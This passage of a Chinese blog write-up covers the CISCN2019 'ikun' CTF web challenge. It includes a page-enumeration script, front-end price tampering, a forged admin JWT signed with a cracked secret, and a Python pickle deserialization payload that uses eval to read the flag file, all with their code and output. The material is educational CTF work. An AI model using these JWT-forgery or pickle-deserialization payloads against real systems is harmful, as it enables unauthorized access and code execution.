  &lt;h2&gt;Here is your result&lt;/h2&gt;
  &lt;h3&gt;%s&lt;/h3&gt;
&lt;/body&gt;
&lt;/html&gt;&#39;&#39;&#39; % (search, result))

if __name__ == &#34;__main__&#34;:
  app.run(host=&#34;0.0.0.0&#34;, port=9000)

[CISCN2019 华北赛区 Day1 Web2]ikun 1

知识点:JWT垂直越权

要找一个等级六的账号,翻了好久找不到就用一个脚本

import requests
url = 'http://c8f78f51-2593-4b2a-8e72-f39543bc99dd.node3.buuoj.cn/shop?page={}'
for i in range(1000):
    r = requests.get(url.format(str(i)))
    if 'lv6.png' in r.text:
        print(i)
        break

找到在181页,然后发现好特么贵,在前端修改折扣力度,直接打骨折

然后看到一个只能 admin查看的页面,这里可以拿到 JWT 进行伪造成 admin 越权

利用c-jwt-cracker生成秘钥1Kun,用网站https://jwt.io/生成

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

访问成功后一键成为大会员页面,查看源代码或者 www.zip 文件是页面代码

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))   //进行反序列化
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

写 payload 用 python2运行放入become,得出 flag

import pickle
import urllib


class payload(object):
    def __reduce__(self):
        return (eval, ("open('/flag.txt', 'r').read()", ))


a = pickle.dumps(payload())
a = urllib.quote(a)
print(a)  # 序列化然后再编码
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%20%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
  • 26
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值